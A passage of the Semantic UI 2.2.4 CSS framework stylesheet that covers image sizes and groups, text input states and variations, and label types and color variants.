  margin-right: 0.5em;
}

/*-------------------
       Floated
--------------------*/

.ui.floated.image,
.ui.floated.images {
  float: left;
  margin-right: 1em;
  margin-bottom: 1em;
}

.ui.right.floated.images,
.ui.right.floated.image {
  float: right;
  margin-right: 0em;
  margin-bottom: 1em;
  margin-left: 1em;
}

.ui.floated.images:last-child,
.ui.floated.image:last-child {
  margin-bottom: 0em;
}

.ui.centered.images,
.ui.centered.image {
  margin-left: auto;
  margin-right: auto;
}

/*--------------
     Sizes
---------------*/

.ui.mini.images .image,
.ui.mini.images img,
.ui.mini.images svg,
.ui.mini.image {
  width: 35px;
  height: auto;
  font-size: 0.78571429rem;
}

.ui.tiny.images .image,
.ui.tiny.images img,
.ui.tiny.images svg,
.ui.tiny.image {
  width: 80px;
  height: auto;
  font-size: 0.85714286rem;
}

.ui.small.images .image,
.ui.small.images img,
.ui.small.images svg,
.ui.small.image {
  width: 150px;
  height: auto;
  font-size: 0.92857143rem;
}

.ui.medium.images .image,
.ui.medium.images img,
.ui.medium.images svg,
.ui.medium.image {
  width: 300px;
  height: auto;
  font-size: 1rem;
}

.ui.large.images .image,
.ui.large.images img,
.ui.large.images svg,
.ui.large.image {
  width: 450px;
  height: auto;
  font-size: 1.14285714rem;
}

.ui.big.images .image,
.ui.big.images img,
.ui.big.images svg,
.ui.big.image {
  width: 600px;
  height: auto;
  font-size: 1.28571429rem;
}

.ui.huge.images .image,
.ui.huge.images img,
.ui.huge.images svg,
.ui.huge.image {
  width: 800px;
  height: auto;
  font-size: 1.42857143rem;
}

.ui.massive.images .image,
.ui.massive.images img,
.ui.massive.images svg,
.ui.massive.image {
  width: 960px;
  height: auto;
  font-size: 1.71428571rem;
}

/*******************************
              Groups
*******************************/

.ui.images {
  font-size: 0em;
  margin: 0em -0.25rem 0rem;
}

.ui.images .image,
.ui.images img,
.ui.images svg {
  display: inline-block;
  margin: 0em 0.25rem 0.5rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Input
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
           Standard
*******************************/

/*--------------------
        Inputs
---------------------*/

.ui.input {
  position: relative;
  font-weight: normal;
  font-style: normal;
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  color: rgba(0, 0, 0, 0.87);
}

.ui.input input {
  margin: 0em;
  max-width: 100%;
  -webkit-box-flex: 1;
  -webkit-flex: 1 0 auto;
  -ms-flex: 1 0 auto;
  flex: 1 0 auto;
  outline: none;
  -webkit-tap-highlight-color: rgba(255, 255, 255, 0);
  text-align: left;
  line-height: 1.2142em;
  
  padding: 0.67861429em 1em;
  background: #FFFFFF;
  border: 1px solid rgba(34, 36, 38, 0.15);
  color: rgba(0, 0, 0, 0.87);
  border-radius: 0.28571429rem;
  -webkit-transition: box-shadow 0.1s ease, border-color 0.1s ease;
  transition: box-shadow 0.1s ease, border-color 0.1s ease;
  box-shadow: none;
}

/*--------------------
      Placeholder
---------------------*/

/* browsers require these rules separate */

.ui.input input::-webkit-input-placeholder {
  color: rgba(191, 191, 191, 0.87);
}

.ui.input input::-moz-placeholder {
  color: rgba(191, 191, 191, 0.87);
}

.ui.input input:-ms-input-placeholder {
  color: rgba(191, 191, 191, 0.87);
}

/*******************************
            States
*******************************/

/*--------------------
        Disabled
---------------------*/

.ui.disabled.input,
.ui.input input[disabled] {
  opacity: 0.45;
}

.ui.disabled.input input,
.ui.input input[disabled] {
  pointer-events: none;
}

/*--------------------
        Active
---------------------*/

.ui.input input:active,
.ui.input.down input {
  border-color: rgba(0, 0, 0, 0.3);
  background: #FAFAFA;
  color: rgba(0, 0, 0, 0.87);
  box-shadow: none;
}

/*--------------------
       Loading
---------------------*/

.ui.loading.loading.input > i.icon:before {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -0.64285714em 0em 0em -0.64285714em;
  width: 1.28571429em;
  height: 1.28571429em;
  border-radius: 500rem;
  border: 0.2em solid rgba(0, 0, 0, 0.1);
}

.ui.loading.loading.input > i.icon:after {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -0.64285714em 0em 0em -0.64285714em;
  width: 1.28571429em;
  height: 1.28571429em;
  -webkit-animation: button-spin 0.6s linear;
  animation: button-spin 0.6s linear;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  border-radius: 500rem;
  border-color: #767676 transparent transparent;
  border-style: solid;
  border-width: 0.2em;
  box-shadow: 0px 0px 0px 1px transparent;
}

/*--------------------
        Focus
---------------------*/

.ui.input.focus input,
.ui.input input:focus {
  border-color: #85B7D9;
  background: #FFFFFF;
  color: rgba(0, 0, 0, 0.8);
  box-shadow: none;
}

.ui.input.focus input::-webkit-input-placeholder,
.ui.input input:focus::-webkit-input-placeholder {
  color: rgba(115, 115, 115, 0.87);
}

.ui.input.focus input::-moz-placeholder,
.ui.input input:focus::-moz-placeholder {
  color: rgba(115, 115, 115, 0.87);
}

.ui.input.focus input:-ms-input-placeholder,
.ui.input input:focus:-ms-input-placeholder {
  color: rgba(115, 115, 115, 0.87);
}

/*--------------------
        Error
---------------------*/

.ui.input.error input {
  background-color: #FFF6F6;
  border-color: #E0B4B4;
  color: #9F3A38;
  box-shadow: none;
}

/* Error Placeholder */

.ui.input.error input::-webkit-input-placeholder {
  color: #e7bdbc;
}

.ui.input.error input::-moz-placeholder {
  color: #e7bdbc;
}

.ui.input.error input:-ms-input-placeholder {
  color: #e7bdbc !important;
}

/* Focused Error Placeholder */

.ui.input.error input:focus::-webkit-input-placeholder {
  color: #da9796;
}

.ui.input.error input:focus::-moz-placeholder {
  color: #da9796;
}

.ui.input.error input:focus:-ms-input-placeholder {
  color: #da9796 !important;
}

/*******************************
           Variations
*******************************/

/*--------------------
      Transparent
---------------------*/

.ui.transparent.input input {
  border-color: transparent !important;
  background-color: transparent !important;
  padding: 0em !important;
  box-shadow: none !important;
}

/* Transparent Icon */

.ui.transparent.icon.input > i.icon {
  width: 1.1em;
}

.ui.transparent.icon.input > input {
  padding-left: 0em !important;
  padding-right: 2em !important;
}

.ui.transparent[class*="left icon"].input > input {
  padding-left: 2em !important;
  padding-right: 0em !important;
}

/* Transparent Inverted */

.ui.transparent.inverted.input {
  color: #FFFFFF;
}

.ui.transparent.inverted.input input {
  color: inherit;
}

.ui.transparent.inverted.input input::-webkit-input-placeholder {
  color: rgba(255, 255, 255, 0.5);
}

.ui.transparent.inverted.input input::-moz-placeholder {
  color: rgba(255, 255, 255, 0.5);
}

.ui.transparent.inverted.input input:-ms-input-placeholder {
  color: rgba(255, 255, 255, 0.5);
}

/*--------------------
         Icon
---------------------*/

.ui.icon.input > i.icon {
  cursor: default;
  position: absolute;
  line-height: 1;
  text-align: center;
  top: 0px;
  right: 0px;
  margin: 0em;
  height: 100%;
  width: 2.67142857em;
  opacity: 0.5;
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
  -webkit-transition: opacity 0.3s ease;
  transition: opacity 0.3s ease;
}

.ui.icon.input > i.icon:not(.link) {
  pointer-events: none;
}

.ui.icon.input input {
  padding-right: 2.67142857em !important;
}

.ui.icon.input > i.icon:before,
.ui.icon.input > i.icon:after {
  left: 0;
  position: absolute;
  text-align: center;
  top: 50%;
  width: 100%;
  margin-top: -0.5em;
}

.ui.icon.input > i.link.icon {
  cursor: pointer;
}

.ui.icon.input > i.circular.icon {
  top: 0.35em;
  right: 0.5em;
}

/* Left Icon Input */

.ui[class*="left icon"].input > i.icon {
  right: auto;
  left: 1px;
  border-radius: 0.28571429rem 0em 0em 0.28571429rem;
}

.ui[class*="left icon"].input > i.circular.icon {
  right: auto;
  left: 0.5em;
}

.ui[class*="left icon"].input > input {
  padding-left: 2.67142857em !important;
  padding-right: 1em !important;
}

/* Focus */

.ui.icon.input > input:focus ~ i.icon {
  opacity: 1;
}

/*--------------------
        Labeled
---------------------*/

/* Adjacent Label */

.ui.labeled.input > .label {
  -webkit-box-flex: 0;
  -webkit-flex: 0 0 auto;
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
  margin: 0;
  font-size: 1em;
}

.ui.labeled.input > .label:not(.corner) {
  padding-top: 0.78571429em;
  padding-bottom: 0.78571429em;
}

/* Regular Label on Left */

.ui.labeled.input:not([class*="corner labeled"]) .label:first-child {
  border-top-right-radius: 0px;
  border-bottom-right-radius: 0px;
}

.ui.labeled.input:not([class*="corner labeled"]) .label:first-child + input {
  border-top-left-radius: 0px;
  border-bottom-left-radius: 0px;
  border-left-color: transparent;
}

.ui.labeled.input:not([class*="corner labeled"]) .label:first-child + input:focus {
  border-left-color: #85B7D9;
}

/* Regular Label on Right */

.ui[class*="right labeled"].input input {
  border-top-right-radius: 0px !important;
  border-bottom-right-radius: 0px !important;
  border-right-color: transparent !important;
}

.ui[class*="right labeled"].input input + .label {
  border-top-left-radius: 0px;
  border-bottom-left-radius: 0px;
}

.ui[class*="right labeled"].input input:focus {
  border-right-color: #85B7D9 !important;
}

/* Corner Label */

.ui.labeled.input .corner.label {
  top: 1px;
  right: 1px;
  font-size: 0.64285714em;
  border-radius: 0em 0.28571429rem 0em 0em;
}

/* Spacing with corner label */

.ui[class*="corner labeled"]:not([class*="left corner labeled"]).labeled.input input {
  padding-right: 2.5em !important;
}

.ui[class*="corner labeled"].icon.input:not([class*="left corner labeled"]) > input {
  padding-right: 3.25em !important;
}

.ui[class*="corner labeled"].icon.input:not([class*="left corner labeled"]) > .icon {
  margin-right: 1.25em;
}

/* Left Labeled */

.ui[class*="left corner labeled"].labeled.input input {
  padding-left: 2.5em !important;
}

.ui[class*="left corner labeled"].icon.input > input {
  padding-left: 3.25em !important;
}

.ui[class*="left corner labeled"].icon.input > .icon {
  margin-left: 1.25em;
}

/* Corner Label Position  */

.ui.input > .ui.corner.label {
  top: 1px;
  right: 1px;
}

.ui.input > .ui.left.corner.label {
  right: auto;
  left: 1px;
}

/*--------------------
        Action
---------------------*/

.ui.action.input > .button,
.ui.action.input > .buttons {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
  -webkit-box-flex: 0;
  -webkit-flex: 0 0 auto;
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
}

.ui.action.input > .button,
.ui.action.input > .buttons > .button {
  padding-top: 0.78571429em;
  padding-bottom: 0.78571429em;
  margin: 0;
}

/* Button on Right */

.ui.action.input:not([class*="left action"]) > input {
  border-top-right-radius: 0px !important;
  border-bottom-right-radius: 0px !important;
  border-right-color: transparent !important;
}

.ui.action.input:not([class*="left action"]) > .dropdown:not(:first-child),
.ui.action.input:not([class*="left action"]) > .button:not(:first-child),
.ui.action.input:not([class*="left action"]) > .buttons:not(:first-child) > .button {
  border-radius: 0px;
}

.ui.action.input:not([class*="left action"]) > .dropdown:last-child,
.ui.action.input:not([class*="left action"]) > .button:last-child,
.ui.action.input:not([class*="left action"]) > .buttons:last-child > .button {
  border-radius: 0px 0.28571429rem 0.28571429rem 0px;
}

/* Input Focus */

.ui.action.input:not([class*="left action"]) input:focus {
  border-right-color: #85B7D9 !important;
}

/* Button on Left */

.ui[class*="left action"].input > input {
  border-top-left-radius: 0px !important;
  border-bottom-left-radius: 0px !important;
  border-left-color: transparent !important;
}

.ui[class*="left action"].input > .dropdown,
.ui[class*="left action"].input > .button,
.ui[class*="left action"].input > .buttons > .button {
  border-radius: 0px;
}

.ui[class*="left action"].input > .dropdown:first-child,
.ui[class*="left action"].input > .button:first-child,
.ui[class*="left action"].input > .buttons:first-child > .button {
  border-radius: 0.28571429rem 0px 0px 0.28571429rem;
}

/* Input Focus */

.ui[class*="left action"].input > input:focus {
  border-left-color: #85B7D9 !important;
}

/*--------------------
       Inverted
---------------------*/

/* Standard */

.ui.inverted.input input {
  border: none;
}

/*--------------------
        Fluid
---------------------*/

.ui.fluid.input {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}

.ui.fluid.input > input {
  width: 0px !important;
}

/*--------------------
        Size
---------------------*/

.ui.mini.input {
  font-size: 0.78571429em;
}

.ui.small.input {
  font-size: 0.92857143em;
}

.ui.input {
  font-size: 1em;
}

.ui.large.input {
  font-size: 1.14285714em;
}

.ui.big.input {
  font-size: 1.28571429em;
}

.ui.huge.input {
  font-size: 1.42857143em;
}

.ui.massive.input {
  font-size: 1.71428571em;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Label
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Label
*******************************/

.ui.label {
  display: inline-block;
  line-height: 1;
  vertical-align: baseline;
  margin: 0em 0.14285714em;
  background-color: #E8E8E8;
  background-image: none;
  padding: 0.5833em 0.833em;
  color: rgba(0, 0, 0, 0.6);
  text-transform: none;
  font-weight: bold;
  border: 0px solid transparent;
  border-radius: 0.28571429rem;
  -webkit-transition: background 0.1s ease;
  transition: background 0.1s ease;
}

.ui.label:first-child {
  margin-left: 0em;
}

.ui.label:last-child {
  margin-right: 0em;
}

/* Link */

a.ui.label {
  cursor: pointer;
}

/* Inside Link */

.ui.label > a {
  cursor: pointer;
  color: inherit;
  opacity: 0.5;
  -webkit-transition: 0.1s opacity ease;
  transition: 0.1s opacity ease;
}

.ui.label > a:hover {
  opacity: 1;
}

/* Image */

.ui.label > img {
  width: auto !important;
  vertical-align: middle;
  height: 2.1666em !important;
}

/* Icon */

.ui.label > .icon {
  width: auto;
  margin: 0em 0.75em 0em 0em;
}

/* Detail */

.ui.label > .detail {
  display: inline-block;
  vertical-align: top;
  font-weight: bold;
  margin-left: 1em;
  opacity: 0.8;
}

.ui.label > .detail .icon {
  margin: 0em 0.25em 0em 0em;
}

/* Removable label */

.ui.label > .close.icon,
.ui.label > .delete.icon {
  cursor: pointer;
  margin-right: 0em;
  margin-left: 0.5em;
  font-size: 0.92857143em;
  opacity: 0.5;
  -webkit-transition: background 0.1s ease;
  transition: background 0.1s ease;
}

.ui.label > .delete.icon:hover {
  opacity: 1;
}

/*-------------------
       Group
--------------------*/

.ui.labels > .label {
  margin: 0em 0.5em 0.5em 0em;
}

/*-------------------
       Coupling
--------------------*/

.ui.header > .ui.label {
  margin-top: -0.29165em;
}

/* Remove border radius on attached segment */

.ui.attached.segment > .ui.top.left.attached.label,
.ui.bottom.attached.segment > .ui.top.left.attached.label {
  border-top-left-radius: 0;
}

.ui.attached.segment > .ui.top.right.attached.label,
.ui.bottom.attached.segment > .ui.top.right.attached.label {
  border-top-right-radius: 0;
}

.ui.top.attached.segment > .ui.bottom.left.attached.label {
  border-bottom-left-radius: 0;
}

.ui.top.attached.segment > .ui.bottom.right.attached.label {
  border-bottom-right-radius: 0;
}

/* Padding on next content after a label */

.ui.top.attached.label:first-child + :not(.attached),
.ui.top.attached.label + [class*="right floated"] + * {
  margin-top: 2rem !important;
}

.ui.bottom.attached.label:first-child ~ :last-child:not(.attached) {
  margin-top: 0em;
  margin-bottom: 2rem !important;
}

/*******************************
             Types
*******************************/

.ui.image.label {
  width: auto !important;
  margin-top: 0em;
  margin-bottom: 0em;
  max-width: 9999px;
  vertical-align: baseline;
  text-transform: none;
  background: #E8E8E8;
  padding: 0.5833em 0.833em 0.5833em 0.5em;
  border-radius: 0.28571429rem;
  box-shadow: none;
}

.ui.image.label img {
  display: inline-block;
  vertical-align: top;
  height: 2.1666em;
  margin: -0.5833em 0.5em -0.5833em -0.5em;
  border-radius: 0.28571429rem 0em 0em 0.28571429rem;
}

.ui.image.label .detail {
  background: rgba(0, 0, 0, 0.1);
  margin: -0.5833em -0.833em -0.5833em 0.5em;
  padding: 0.5833em 0.833em;
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
}

/*-------------------
         Tag
--------------------*/

.ui.tag.labels .label,
.ui.tag.label {
  margin-left: 1em;
  position: relative;
  padding-left: 1.5em;
  padding-right: 1.5em;
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
  -webkit-transition: none;
  transition: none;
}

.ui.tag.labels .label:before,
.ui.tag.label:before {
  position: absolute;
  -webkit-transform: translateY(-50%) translateX(50%) rotate(-45deg);
  -ms-transform: translateY(-50%) translateX(50%) rotate(-45deg);
  transform: translateY(-50%) translateX(50%) rotate(-45deg);
  top: 50%;
  right: 100%;
  content: '';
  background-color: inherit;
  background-image: none;
  width: 1.56em;
  height: 1.56em;
  -webkit-transition: none;
  transition: none;
}

.ui.tag.labels .label:after,
.ui.tag.label:after {
  position: absolute;
  content: '';
  top: 50%;
  left: -0.25em;
  margin-top: -0.25em;
  background-color: #FFFFFF !important;
  width: 0.5em;
  height: 0.5em;
  box-shadow: 0 -1px 1px 0 rgba(0, 0, 0, 0.3);
  border-radius: 500rem;
}

/*-------------------
    Corner Label
--------------------*/

.ui.corner.label {
  position: absolute;
  top: 0em;
  right: 0em;
  margin: 0em;
  padding: 0em;
  text-align: center;
  border-color: #E8E8E8;
  width: 4em;
  height: 4em;
  z-index: 1;
  -webkit-transition: border-color 0.1s ease;
  transition: border-color 0.1s ease;
}

/* Icon Label */

.ui.corner.label {
  background-color: transparent !important;
}

.ui.corner.label:after {
  position: absolute;
  content: "";
  right: 0em;
  top: 0em;
  z-index: -1;
  width: 0em;
  height: 0em;
  background-color: transparent !important;
  border-top: 0em solid transparent;
  border-right: 4em solid transparent;
  border-bottom: 4em solid transparent;
  border-left: 0em solid transparent;
  border-right-color: inherit;
  -webkit-transition: border-color 0.1s ease;
  transition: border-color 0.1s ease;
}

.ui.corner.label .icon {
  cursor: default;
  position: relative;
  top: 0.64285714em;
  left: 0.78571429em;
  font-size: 1.14285714em;
  margin: 0em;
}

/* Left Corner */

.ui.left.corner.label,
.ui.left.corner.label:after {
  right: auto;
  left: 0em;
}

.ui.left.corner.label:after {
  border-top: 4em solid transparent;
  border-right: 4em solid transparent;
  border-bottom: 0em solid transparent;
  border-left: 0em solid transparent;
  border-top-color: inherit;
}

.ui.left.corner.label .icon {
  left: -0.78571429em;
}

/* Segment */

.ui.segment > .ui.corner.label {
  top: -1px;
  right: -1px;
}

.ui.segment > .ui.left.corner.label {
  right: auto;
  left: -1px;
}

/*-------------------
       Ribbon
--------------------*/

.ui.ribbon.label {
  position: relative;
  margin: 0em;
  min-width: -webkit-max-content;
  min-width: -moz-max-content;
  min-width: max-content;
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
  border-color: rgba(0, 0, 0, 0.15);
}

.ui.ribbon.label:after {
  position: absolute;
  content: '';
  top: 100%;
  left: 0%;
  background-color: transparent !important;
  border-style: solid;
  border-width: 0em 1.2em 1.2em 0em;
  border-color: transparent;
  border-right-color: inherit;
  width: 0em;
  height: 0em;
}

/* Positioning */

.ui.ribbon.label {
  left: calc( -1rem  -  1.2em );
  margin-right: -1.2em;
  padding-left: calc( 1rem  +  1.2em );
  padding-right: 1.2em;
}

.ui[class*="right ribbon"].label {
  left: calc(100% +  1rem  +  1.2em );
  padding-left: 1.2em;
  padding-right: calc( 1rem  +  1.2em );
}

/* Right Ribbon */

.ui[class*="right ribbon"].label {
  text-align: left;
  -webkit-transform: translateX(-100%);
  -ms-transform: translateX(-100%);
  transform: translateX(-100%);
  border-radius: 0.28571429rem 0em 0em 0.28571429rem;
}

.ui[class*="right ribbon"].label:after {
  left: auto;
  right: 0%;
  border-style: solid;
  border-width: 1.2em 1.2em 0em 0em;
  border-color: transparent;
  border-top-color: inherit;
}

/* Inside Table */

.ui.image > .ribbon.label,
.ui.card .image > .ribbon.label {
  position: absolute;
  top: 1rem;
}

.ui.card .image > .ui.ribbon.label,
.ui.image > .ui.ribbon.label {
  left: calc( 0.05rem  -  1.2em );
}

.ui.card .image > .ui[class*="right ribbon"].label,
.ui.image > .ui[class*="right ribbon"].label {
  left: calc(100% +  -0.05rem  +  1.2em );
  padding-left: 0.833em;
}

/* Inside Table */

.ui.table td > .ui.ribbon.label {
  left: calc( -0.78571429em  -  1.2em );
}

.ui.table td > .ui[class*="right ribbon"].label {
  left: calc(100% +  0.78571429em  +  1.2em );
  padding-left: 0.833em;
}

/*-------------------
      Attached
--------------------*/

.ui[class*="top attached"].label,
.ui.attached.label {
  width: 100%;
  position: absolute;
  margin: 0em;
  top: 0em;
  left: 0em;
  padding: 0.75em 1em;
  border-radius: 0.21428571rem 0.21428571rem 0em 0em;
}

.ui[class*="bottom attached"].label {
  top: auto;
  bottom: 0em;
  border-radius: 0em 0em 0.21428571rem 0.21428571rem;
}

.ui[class*="top left attached"].label {
  width: auto;
  margin-top: 0em !important;
  border-radius: 0.21428571rem 0em 0.28571429rem 0em;
}

.ui[class*="top right attached"].label {
  width: auto;
  left: auto;
  right: 0em;
  border-radius: 0em 0.21428571rem 0em 0.28571429rem;
}

.ui[class*="bottom left attached"].label {
  width: auto;
  top: auto;
  bottom: 0em;
  border-radius: 0em 0.28571429rem 0em 0.21428571rem;
}

.ui[class*="bottom right attached"].label {
  top: auto;
  bottom: 0em;
  left: auto;
  right: 0em;
  width: auto;
  border-radius: 0.28571429rem 0em 0.21428571rem 0em;
}

/*******************************
             States
*******************************/

/*-------------------
      Disabled
--------------------*/

.ui.label.disabled {
  opacity: 0.5;
}

/*-------------------
        Hover
--------------------*/

a.ui.labels .label:hover,
a.ui.label:hover {
  background-color: #E0E0E0;
  border-color: #E0E0E0;
  background-image: none;
  color: rgba(0, 0, 0, 0.8);
}

.ui.labels a.label:hover:before,
a.ui.label:hover:before {
  color: rgba(0, 0, 0, 0.8);
}

/*-------------------
        Active
--------------------*/

.ui.active.label {
  background-color: #D0D0D0;
  border-color: #D0D0D0;
  background-image: none;
  color: rgba(0, 0, 0, 0.95);
}

.ui.active.label:before {
  background-color: #D0D0D0;
  background-image: none;
  color: rgba(0, 0, 0, 0.95);
}

/*-------------------
     Active Hover
--------------------*/

a.ui.labels .active.label:hover,
a.ui.active.label:hover {
  background-color: #C8C8C8;
  border-color: #C8C8C8;
  background-image: none;
  color: rgba(0, 0, 0, 0.95);
}

.ui.labels a.active.label:ActiveHover:before,
a.ui.active.label:ActiveHover:before {
  background-color: #C8C8C8;
  background-image: none;
  color: rgba(0, 0, 0, 0.95);
}

/*-------------------
      Visible
--------------------*/

.ui.labels.visible .label,
.ui.label.visible:not(.dropdown) {
  display: inline-block !important;
}

/*-------------------
      Hidden
--------------------*/

.ui.labels.hidden .label,
.ui.label.hidden {
  display: none !important;
}

/*******************************
           Variations
*******************************/

/*-------------------
       Colors
--------------------*/

/*--- Red ---*/

.ui.red.labels .label,
.ui.red.label {
  background-color: #DB2828 !important;
  border-color: #DB2828 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.red.labels .label:hover,
a.ui.red.label:hover {
  background-color: #d01919 !important;
  border-color: #d01919 !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.red.corner.label,
.ui.red.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.red.ribbon.label {
  border-color: #b21e1e !important;
}

/* Basic */

.ui.basic.red.label {
  background-color: #FFFFFF !important;
  color: #DB2828 !important;
  border-color: #DB2828 !important;
}

.ui.basic.red.labels a.label:hover,
a.ui.basic.red.label:hover {
  background-color: #FFFFFF !important;
  color: #d01919 !important;
  border-color: #d01919 !important;
}

/*--- Orange ---*/

.ui.orange.labels .label,
.ui.orange.label {
  background-color: #F2711C !important;
  border-color: #F2711C !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.orange.labels .label:hover,
a.ui.orange.label:hover {
  background-color: #f26202 !important;
  border-color: #f26202 !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.orange.corner.label,
.ui.orange.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.orange.ribbon.label {
  border-color: #cf590c !important;
}

/* Basic */

.ui.basic.orange.label {
  background-color: #FFFFFF !important;
  color: #F2711C !important;
  border-color: #F2711C !important;
}

.ui.basic.orange.labels a.label:hover,
a.ui.basic.orange.label:hover {
  background-color: #FFFFFF !important;
  color: #f26202 !important;
  border-color: #f26202 !important;
}

/*--- Yellow ---*/

.ui.yellow.labels .label,
.ui.yellow.label {
  background-color: #FBBD08 !important;
  border-color: #FBBD08 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.yellow.labels .label:hover,
a.ui.yellow.label:hover {
  background-color: #eaae00 !important;
  border-color: #eaae00 !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.yellow.corner.label,
.ui.yellow.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.yellow.ribbon.label {
  border-color: #cd9903 !important;
}

/* Basic */

.ui.basic.yellow.label {
  background-color: #FFFFFF !important;
  color: #FBBD08 !important;
  border-color: #FBBD08 !important;
}

.ui.basic.yellow.labels a.label:hover,
a.ui.basic.yellow.label:hover {
  background-color: #FFFFFF !important;
  color: #eaae00 !important;
  border-color: #eaae00 !important;
}

/*--- Olive ---*/

.ui.olive.labels .label,
.ui.olive.label {
  background-color: #B5CC18 !important;
  border-color: #B5CC18 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.olive.labels .label:hover,
a.ui.olive.label:hover {
  background-color: #a7bd0d !important;
  border-color: #a7bd0d !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.olive.corner.label,
.ui.olive.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.olive.ribbon.label {
  border-color: #198f35 !important;
}

/* Basic */

.ui.basic.olive.label {
  background-color: #FFFFFF !important;
  color: #B5CC18 !important;
  border-color: #B5CC18 !important;
}

.ui.basic.olive.labels a.label:hover,
a.ui.basic.olive.label:hover {
  background-color: #FFFFFF !important;
  color: #a7bd0d !important;
  border-color: #a7bd0d !important;
}

/*--- Green ---*/

.ui.green.labels .label,
.ui.green.label {
  background-color: #21BA45 !important;
  border-color: #21BA45 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.green.labels .label:hover,
a.ui.green.label:hover {
  background-color: #16ab39 !important;
  border-color: #16ab39 !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.green.corner.label,
.ui.green.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.green.ribbon.label {
  border-color: #198f35 !important;
}

/* Basic */

.ui.basic.green.label {
  background-color: #FFFFFF !important;
  color: #21BA45 !important;
  border-color: #21BA45 !important;
}

.ui.basic.green.labels a.label:hover,
a.ui.basic.green.label:hover {
  background-color: #FFFFFF !important;
  color: #16ab39 !important;
  border-color: #16ab39 !important;
}

/*--- Teal ---*/

.ui.teal.labels .label,
.ui.teal.label {
  background-color: #00B5AD !important;
  border-color: #00B5AD !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.teal.labels .label:hover,
a.ui.teal.label:hover {
  background-color: #009c95 !important;
  border-color: #009c95 !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.teal.corner.label,
.ui.teal.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.teal.ribbon.label {
  border-color: #00827c !important;
}

/* Basic */

.ui.basic.teal.label {
  background-color: #FFFFFF !important;
  color: #00B5AD !important;
  border-color: #00B5AD !important;
}

.ui.basic.teal.labels a.label:hover,
a.ui.basic.teal.label:hover {
  background-color: #FFFFFF !important;
  color: #009c95 !important;
  border-color: #009c95 !important;
}

/*--- Blue ---*/

.ui.blue.labels .label,
.ui.blue.label {
  background-color: #2185D0 !important;
  border-color: #2185D0 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.blue.labels .label:hover,
a.ui.blue.label:hover {
  background-color: #1678c2 !important;
  border-color: #1678c2 !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.blue.corner.label,
.ui.blue.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.blue.ribbon.label {
  border-color: #1a69a4 !important;
}

/* Basic */

.ui.basic.blue.label {
  background-color: #FFFFFF !important;
  color: #2185D0 !important;
  border-color: #2185D0 !important;
}

.ui.basic.blue.labels a.label:hover,
a.ui.basic.blue.label:hover {
  background-color: #FFFFFF !important;
  color: #1678c2 !important;
  border-color: #1678c2 !important;
}

/*--- Violet ---*/

.ui.violet.labels .label,
.ui.violet.label {
  background-color: #6435C9 !important;
  border-color: #6435C9 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.violet.labels .label:hover,
a.ui.violet.label:hover {
  background-color: #5829bb !important;
  border-color: #5829bb !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.violet.corner.label,
.ui.violet.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.violet.ribbon.label {
  border-color: #502aa1 !important;
}

/* Basic */

.ui.basic.violet.label {
  background-color: #FFFFFF !important;
  color: #6435C9 !important;
  border-color: #6435C9 !important;
}

.ui.basic.violet.labels a.label:hover,
a.ui.basic.violet.label:hover {
  background-color: #FFFFFF !important;
  color: #5829bb !important;
  border-color: #5829bb !important;
}

/*--- Purple ---*/

.ui.purple.labels .label,
.ui.purple.label {
  background-color: #A333C8 !important;
  border-color: #A333C8 !important;
  color: #FFFFFF !important;
}

/* Link */

.ui.purple.labels .label:hover,
a.ui.purple.label:hover {
  background-color: #9627ba !important;
  border-color: #9627ba !important;
  color: #FFFFFF !important;
}

/* Corner */

.ui.purple.corner.label,
.ui.purple.corner.label:hover {
  background-color: transparent !important;
}

/* Ribbon */

.ui.purple.ribbon.label {
  border-color: #82299f !important;
}

/* Basic */

.ui.basic.purple.label {
  background-color: #FFFFFF !important;
  color: #A333C8 !important;
  border-color: #A333C8 !important;
}

